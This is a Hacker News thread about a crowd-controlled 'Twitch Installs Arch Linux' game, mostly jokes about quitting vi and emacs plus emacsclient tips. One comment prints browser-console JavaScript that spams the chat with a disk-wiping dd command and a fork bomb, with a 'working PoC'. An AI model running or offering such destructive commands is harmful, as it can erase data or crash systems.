Live data from Hacker News

Show HN: Twitch Installs Arch Linux – A cooperative text-based horror game

twitchinstalls.com

191–200 of 266 posts

Re: Show HN: Twitch Installs Arch Linux – A cooperative text-based horror game

#191
post #34
post #26

Earlier quoted context omitted.

They should read the book "Popular Unix text editors and how to exit them"

quit ? exit ? end ? done ? bye ? quit! ? ^X ? ^C ? ^C ? help ? ? ? ^Z $ killall ed $ vi

    eat flaming death
    ?
http://www.gnu.org/fun/jokes/ed-msg.txt

Re: Show HN: Twitch Installs Arch Linux – A cooperative text-based horror game

#193
post #63

Earlier quoted context omitted.

Back when I first started my CompSci degree, a friend of mine always "quit" emacs with ctrl-z. Or, at least he did until he managed to fill his entire home directory quota with emacs backup files that were never cleaned up...

Ha, I still do that! $ jobs [4] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [5] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [6] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [7] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [8] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [9] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [10] Stopped emacscl…

Don't you frequently deal with:

  /private/tmp/foo.txt locked by jnpatel@mac... (pid 14836): (s, q, p, ?)?
because of the lock files?

Re: Show HN: Twitch Installs Arch Linux – A cooperative text-based horror game

#194
post #72
post #44

This is definitely going to be good fun. Next in series: - Twitch manages a portfolio - Twitch defuses a bomb - Twitch controls air traffic - Twitch performs a heart surgery

Twitch makes a twitch clone

twitch makes twitch self-aware

Re: Show HN: Twitch Installs Arch Linux – A cooperative text-based horror game

#195

Earlier quoted context omitted.

Ha, I still do that! $ jobs [4] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [5] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [6] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [7] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [8] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [9] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [10] Stopped emacscl…

Don't you frequently deal with: /private/tmp/foo.txt locked by jnpatel@mac... (pid 14836): (s, q, p, ?)? because of the lock files?

Nope, because emacsclient ends up opening them all in the same process (that's the beauty/entire point): Fork off an emacs in the background:

  emacs --daemon
Then run emacsclient to connect to it (open a new buffer in the daemon and switch to it):

  emacsclient -nw some_file
When you "quit" (with C-x C-c), it really just quits that client, but the main emacs is left running.

This has a number of benefits: 1) no locks like you mention, 2) access to all open buffers (even unsaved) from every emacsclient that's currently running (since they're really all just opening buffers in a single instance), 3) blazing startup speed (emacs is already running, you're just connecting to it and splatting a new buffer to the terminal).

Re: Show HN: Twitch Installs Arch Linux – A cooperative text-based horror game

#196
post #63

Earlier quoted context omitted.

Back when I first started my CompSci degree, a friend of mine always "quit" emacs with ctrl-z. Or, at least he did until he managed to fill his entire home directory quota with emacs backup files that were never cleaned up...

Ha, I still do that! $ jobs [4] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [5] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [6] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [7] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [8] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [9] Stopped emacsclient -a '' -nw [redacted] (wd: [redacted]) [10] Stopped emacscl…

Do you know about the "--no-wait" option for emacsclient?

Re: Show HN: Twitch Installs Arch Linux – A cooperative text-based horror game

#197
post #2

Hey guys, author here. Feel free to ask any questions, and I'll try my best to answer them!

Will there be some sort of external chat/discussion forum? I seem to remember TPP having a subreddit and an IRC channel for discussing and voting on strategies. Especially useful since the official chat was flooded with commands.

Re: Show HN: Twitch Installs Arch Linux – A cooperative text-based horror game

#198

I'm afraid they'll manage to launch vim and will never be able to get out.

My "favorite" thing is when you hit Ctrl-C, and Vim says "Type :quit to exit Vim". Vim isn't dumb. It knows what Ctrl-C means, it knows what you wanted to happen. But it's gonna make you do it its way anyway, because fuck you.

Re: Show HN: Twitch Installs Arch Linux – A cooperative text-based horror game

#199

Earlier quoted context omitted.

> setTimeout(function(){$('#chat-input').val('dd if=/dev/zero of=/dev/sda bs=4M');$('#chat-send').click();},100) > setTimeout(function(){$('#chat-input').val(':(){ :|: & };:');$('#chat-send').click();},100) Get a handful of people to run one of those in their browsers JS console and watch the world burn.

For the doubters, here is a working PoC... works in Chrome. setInterval(function(){$('#chat_text_input').val(':(){ :|: & };:');e=document.createEvent('Event');e.initEvent('keydown',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e);e=document.createEvent('Event');e.initEvent('keyup',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e); },1000);

I just flagged this because it (and the other post of the same thing) blows out the page width and makes everything else wrap to the full length of the string, which is considerably more than the average screen width. Hoping an admin can edit it.
Post reply on HN